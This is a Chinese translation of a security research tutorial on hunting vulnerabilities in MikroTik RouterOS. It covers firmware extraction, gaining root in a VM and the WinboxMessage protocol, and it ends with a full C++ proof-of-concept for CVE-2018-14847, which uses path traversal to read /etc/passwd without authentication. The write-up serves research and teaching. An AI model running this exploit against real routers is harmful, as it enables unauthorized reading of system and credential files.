一、前言

最近,我在Slack上收到了很多条私信,这些私信都共同指向同一条推文。

为什么这与我有关呢?因为上周日,我在Derbycon上发表了一次关于在MikroTik的RouterOS中寻找漏洞的演讲。

现在,Zerodium已经为MikroTik漏洞支付了6位数的奖励,我认为这是一个好机会,可以让我对RouterOS的漏洞进行一次完整分析。其实,任何时候都是研究RouterOS漏洞的好时机,因为这是一个有趣的目标。在本文的分析过程中,我发现了一个新的未授权漏洞。相信你也可以找到一些漏洞。

二、奠定基础

现在,想必各位读者已经开始规划奖金要如何分配了。但是,还是需要冷静下来,我们还有一部分准备工作要做。

2.1 获取软件

最开始,大家其实不必急于在淘宝上购买MikroTik路由器。因为MikroTik在其网站上就提供了RouterOS的ISO镜像。在下载ISO之后,可以使用VirtualBox或VMWare创建一台虚拟主机。

我们从ISO中,可以提取系统文件。

[email protected]:~/6.42.11$ 7z x mikrotik-6.42.11.iso
 
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
 
Processing archive: mikrotik-6.42.11.iso
 
Extracting  advanced-tools-6.42.11.npk
Extracting  calea-6.42.11.npk
Extracting  defpacks
Extracting  dhcp-6.42.11.npk
Extracting  dude-6.42.11.npk
Extracting  gps-6.42.11.npk
Extracting  hotspot-6.42.11.npk
Extracting  ipv6-6.42.11.npk
Extracting  isolinux
Extracting  isolinux/boot.cat
Extracting  isolinux/initrd.rgz
Extracting  isolinux/isolinux.bin
Extracting  isolinux/isolinux.cfg
Extracting  isolinux/linux
Extracting  isolinux/TRANS.TBL
Extracting  kvm-6.42.11.npk
Extracting  lcd-6.42.11.npk
Extracting  LICENSE.txt
Extracting  mpls-6.42.11.npk
Extracting  multicast-6.42.11.npk
Extracting  ntp-6.42.11.npk
Extracting  ppp-6.42.11.npk
Extracting  routing-6.42.11.npk
Extracting  security-6.42.11.npk
Extracting  system-6.42.11.npk
Extracting  TRANS.TBL
Extracting  ups-6.42.11.npk
Extracting  user-manager-6.42.11.npk
Extracting  wireless-6.42.11.npk
Extracting  [BOOT]/Bootable_NoEmulation.img
 
Everything is Ok
 
Folders: 1
Files: 29
Size:       26232176
Compressed: 26335232

MikroTik使用他们自定义的.npk格式封装了许多软件。有一个工具可以对它们实现解封装,但我还是更加倾向于使用binwalk

[email protected]:~/6.42.11$ binwalk -e system-6.42.11.npk
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------
0             0x0             NPK firmware header, image size: 15616295, image name: "system", description: ""
4096          0x1000          Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304       0x95E060        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177       0x962E01        Unix path: /sys/devices/system/cpu
9846974       0x9640BE        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147       0x972013        Unix path: /sys/devices/system/cpu
9928025       0x977D59        Copyright string: "Copyright 1995-2005 Mark Adler "
9928138       0x977DCA        CRC32 polynomial table, little endian
9932234       0x978DCA        CRC32 polynomial table, big endian
9958962       0x97F632        xz compressed data
12000822      0xB71E36        xz compressed data
12003148      0xB7274C        xz compressed data
12104110      0xB8B1AE        xz compressed data
13772462      0xD226AE        xz compressed data
13790464      0xD26D00        xz compressed data
15613512      0xEE3E48        xz compressed data
15616031      0xEE481F        Unix path: /var/pdb/system/crcbin/milo 3801732988
 
[email protected]:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster   11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster    7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
[email protected]:~/6.42.11$

2.2 打开盒子

在寻找漏洞时,如果能访问目标的文件系统,那么会很有帮助。如果能够在本地运行GDB等工具,那么效果也会不错。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。

幸运的是,我有一个解决方案可以应对这些问题。根据编写rc.d脚本的S12defconf方式,我们发现RouterOS将会执行存储在/rw/DEFCONF文件中的任何内容。

普通用户无法访问该文件,但考虑到虚拟机和Live CD的独特性,我们可以借助它来创建文件,并在其中插入所需要的任何命令。要准确描述这一过程,可能太过复杂,因此我制作了一个视频,长度为5分钟左右,记录了从虚拟机安装到实现Root Telnet访问的全过程。

视频:https://youtu.be/OZ11gbF9fwM

通过Root Telnet访问,现在就可以完全控制虚拟机。我们可以上传更多的工具、附加到进程、查看日志等。至此为止,我们就已经准备好了,即将开始探索路由器的攻击面。

三、有人在听吗?

借助ps命令,我们可以快速确定网络可以访问到的攻击面。

看起来,路由器会监听一些众所周知的端口(HTTP、FTP、Telnet和SSH),但同样也有一些鲜为人知的端口。端口2000上的btest是带宽测试服务。端口8291上的mproxy是WinBox与之接口的服务。WinBox是一个在Windows上运行的管理工具,它与Telnet、SSH和HTTP接口共享所有的功能。

四、真正的攻击面

运行ps命令后,我们得到的输出结果不太乐观。看起来,好像只有几个二进制文件能够作为我们寻找漏洞的目标。但事实并非如此。HTTP服务器和WinBox都使用了自定义的协议,我将其称为WinboxMessage,实际代码称之为nv::message。该协议指定应该将消息传递到哪个二进制文件上。事实上,如果安装了所有软件包,大约有90多种不同的网络可以借助WinboxMessage协议访问二进制文件。

还有一种简单的方法可以找出我们要寻找漏洞的二进制文件。可以在每个包的/nova/etc/loader/*.x3文件中找到一个列表。x3是一个自定义文件格式,所以我写了一个解析器。在运行后,输出结果较长,因此我做了一部分删减,删减后输出结果如下。

[email protected]:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

x3文件还包含每个二进制文件的“SYS TO”标识符。这是WinboxMessage协议用于确定应处理消息位置的标识符。

五、对WinboxMessage的深入分析

在清楚可以接触到哪些二进制文件之后,我们其实还要清楚如何与它们进行通信。在本章中,我将介绍几个例子。

5.1 入门

假如我想和/nova/bin/undo进行对话,应该从哪里开始?我们首先从一些代码开始讲起。我写了一些C++代码,它将完成所有WinboxMessage协议格式化和会话处理。我还创建了一个可以继续构建的程序框架,各位读者可以继续完善。

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
    return EXIT_FAILURE;
}
 
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
return EXIT_SUCCESS;

大家可以看到,Winbox_Session类负责连接到路由器,此外它还负责身份验证逻辑以及发送和接收消息。

现在,从上面的输出中可以看出,/nova/bin/undo有一个SYS TO,标识符为17。为了实现undo,我们需要更新代码,以创建消息,并设置相应的SYS TO标识符。

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
 
WinboxMessage msg;
msg.set_to(17);

5.2 命令与控制

每条消息还需要一个命令。正如稍后我们看到的,每个命令都会调用特定的功能。所有处理程序都使用一些内置的命令(0xfe0000–0xfe00016)和一些具有唯一实现的自定义命令。

Pop /nova/bin/undo进入反汇编程序,并找到nv::Looper::Looper构造函数的唯一代码交叉引用。

按照我标记为undo_handler的偏移到vtable,可以看到以下内容。

这里是undo WinboxMessage处理的vtable。有一些函数直接对应我前面提到的内置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies负责处理)。此外,我还突出标记了未知的命令功能,非内置命令将在这里实现。

由于非内置命令通常是最有趣的,所以我们将会跳转到cmdUnknown。我们可以看到,它会从基于命令的跳转表开始。

看起来,命令的编号从0x80001开始。稍微查看代码后,发现命令0x80002似乎有一个有用的字符串可以进行测试。那么,我们来看看是否可以达到“无需redo”的代码路径。

我们需要更新框架代码,以请求命令0x80002。我们还需要添加发送和接收逻辑。

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
 
std::cout << "req: " << msg.serialize_to_json() << std::endl;
 
msg.reset();
if (!winboxSession.receive(msg))
{
    std::cerr << "Error receiving a response." << std::endl;
    return EXIT_FAILURE;
}
 
std::cout << "resp: " << msg.serialize_to_json() << std::endl;
    
if (msg.has_error())
{
    std::cerr << msg.get_error_string() << std::endl;
    return EXIT_FAILURE;
}
 
return EXIT_SUCCESS;

在编译并执行后,我们就得到了想要的“无需redo”。

[email protected]:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo
[email protected]:~/routeros/poc/skeleton/build$

5.3 突破口不止一个

在前面的示例中,我们查看了undo中的主处理程序,该处理程序可以简单地解析为17。但是,大多数二进制文件都有多个处理程序。在下面的示例中,我们将要检查/nova/bin/mproxy的第二个处理程序。我非常喜欢这个示例,因为这就是CVE-2018-14847的攻击面,并且这个示例有助于揭开这些奇怪二进制Blob的神秘面纱:

5.4 寻找处理程序

在IDA中打开/nova/bin/mproxy,找到nv::Looper::addHandler导入。在6.42.11中,addHandler只有两段代码交叉引用。在这里,很容易识别到我们感兴趣的处理程序,也就是第二个处理程序,因为在调用addHandler之前,处理程序标识符被压入栈中。

如果我们查看将nv::Handler*加载到edi中的位置,我们就会找到处理程序的vtable的偏移量。这个结构看起来有些熟悉:

在这里,我再次强调了未知的命令功能。这一处理程序的未知命令函数支持七个命令:

1、打开/var/pckg/中的文件以进行写入;

2、写入打开的文件;

3、打开/var/pckg/中的文件以进行读取;

4、读取打开的文件;

5、取消文件传输;

6、在/var/pckg/中创建一个目录;

7、打开/home/web/webfig/中的文件并进行读取。

其中,第4、5、7个命令不需要进行身份验证。

5.5 打开文件

我们尝试使用命令7,在/home/web/webfig/中打开一个文件。这是exploit-db截图中FIRST_PAYLOAD使用的命令。我们仔细查看代码中对命令7的处理,会发现它首先找到的是一个id为1的字符串。

字符串是我们要打开的文件名。我们来看一下,/home/web/webfig中的哪一个文件比较有趣呢?

事实上,我们在这里看不出来。但在list中,包含已经安装的软件包和其版本号的列表。

我们将打开的文件请求转换为WinboxMessage。返回到我们编写的代码,我们需要覆盖set_to和set_command代码,还需要插入add_string。因此我又重新修改了代码。

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
    std::cerr << "Failed to connect to the remote host"
              << std::endl;
    return EXIT_FAILURE;
}
 
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
 
std::cout << "req: " << msg.serialize_to_json() << std::endl;
 
msg.reset();
if (!winboxSession.receive(msg))
{
    std::cerr << "Error receiving a response." << std::endl;
    return EXIT_FAILURE;
}
 
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

运行此代码后,我们应该能够看到如下内容:

[email protected]:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
[email protected]:~/routeros/poc/skeleton/build$

现在,应该可以看到服务器的响应中包含u2:1818。眼熟不?

由于运行需要较长时间,因此我把读取文件内容的这部分工作交给读者自行完成。在CVE-2018-14847的PoC中包含了读者可能需要的所有提示。

六、总结

至此,我们已经详细说明了如何获取RouterOS软件并创建虚拟机,并展示了RouterOS的攻击面,并分析如何进入系统二进制文件。我分享了用于处理Winbox通信的代码,并展示了详细的使用过程。如果各位读者还想深入研究协议的细节,那么请阅读我的演讲内容。至少,我们现在知道,MikroTik的安全性仍然是不容忽视的。

附录:CVE-2018-14847 PoC

#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include <boost/algorithm/string.hpp>
 
#include "winbox_session.hpp"
#include "winbox_message.hpp"
 
namespace
{
    const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release";
 
    bool parseCommandLine(int p_argCount, const char* p_argArray[],
                          std::string& p_ip, std::string& p_port)
    {
        boost::program_options::options_description description("options");
        description.add_options()
            ("help,h", "A list of command line options")
            ("version,v", "Display version information")
            ("port,p", boost::program_options::value<std::string>(), "The port to connect to")
            ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");
 
        boost::program_options::variables_map argv_map;
        try
        {
            boost::program_options::store(
                boost::program_options::parse_command_line(
                    p_argCount, p_argArray, description), argv_map);
        }
        catch (const std::exception& e)
        {
            std::cerr << e.what() << std::endl;
            std::cerr << description << std::endl;
            return false;
        }
 
        boost::program_options::notify(argv_map);
        if (argv_map.empty() || argv_map.count("help"))
        {
            std::cerr << description << std::endl;
            return false;
        }
 
        if (argv_map.count("version"))
        {
            std::cerr << "Version: " << ::s_version << std::endl;
            return false;
        }
 
        if (argv_map.count("ip") && argv_map.count("port"))
        {
            p_ip.assign(argv_map["ip"].as<std::string>());
            p_port.assign(argv_map["port"].as<std::string>());
            return true;
        }
        else
        {
            std::cout << description << std::endl;
        }
 
        return false;
    }
}
 
int main(int p_argc, const char** p_argv)
{
    std::string ip;
    std::string port;
    if (!parseCommandLine(p_argc, p_argv, ip, port))
    {
        return EXIT_FAILURE;
    }
 
    Winbox_Session winboxSession(ip, port);
    if (!winboxSession.connect())
    {
        std::cerr << "Failed to connect to the remote host" << std::endl;
        return EXIT_FAILURE;
    }
 
    WinboxMessage msg;
    msg.set_to(2, 2);
    msg.set_command(7);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(1, "//./.././.././../etc/passwd");
    winboxSession.send(msg);
 
    msg.reset();
    if (!winboxSession.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return EXIT_FAILURE;
    }
 
    boost::uint32_t sessionID = msg.get_session_id();
    boost::uint16_t file_size = msg.get_u32(2);
    if (file_size == 0)
    {
        std::cout << "File size is 0" << std::endl;
        return EXIT_FAILURE;
    }
 
    msg.reset();
    msg.set_to(2, 2);
    msg.set_command(4);
    msg.set_request_id(2);
    msg.set_reply_expected(true);
    msg.set_session_id(sessionID);
    msg.add_u32(2, file_size);
    winboxSession.send(msg);
 
    msg.reset();
    if (!winboxSession.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return EXIT_FAILURE;
    }
 
    std::string raw_payload(msg.get_raw(0x03));
    std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl;
 
    for (std::size_t i = 0; i < raw_payload.size(); i++)
    {
        std::cerr << raw_payload[i];
    }
    std::cerr << std::endl;
 
    return EXIT_SUCCESS;
}
本文翻译自:https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6如若转载,请注明原文地址: http://www.4hou.com/wireless/16183.html
源链接

Hacking more

...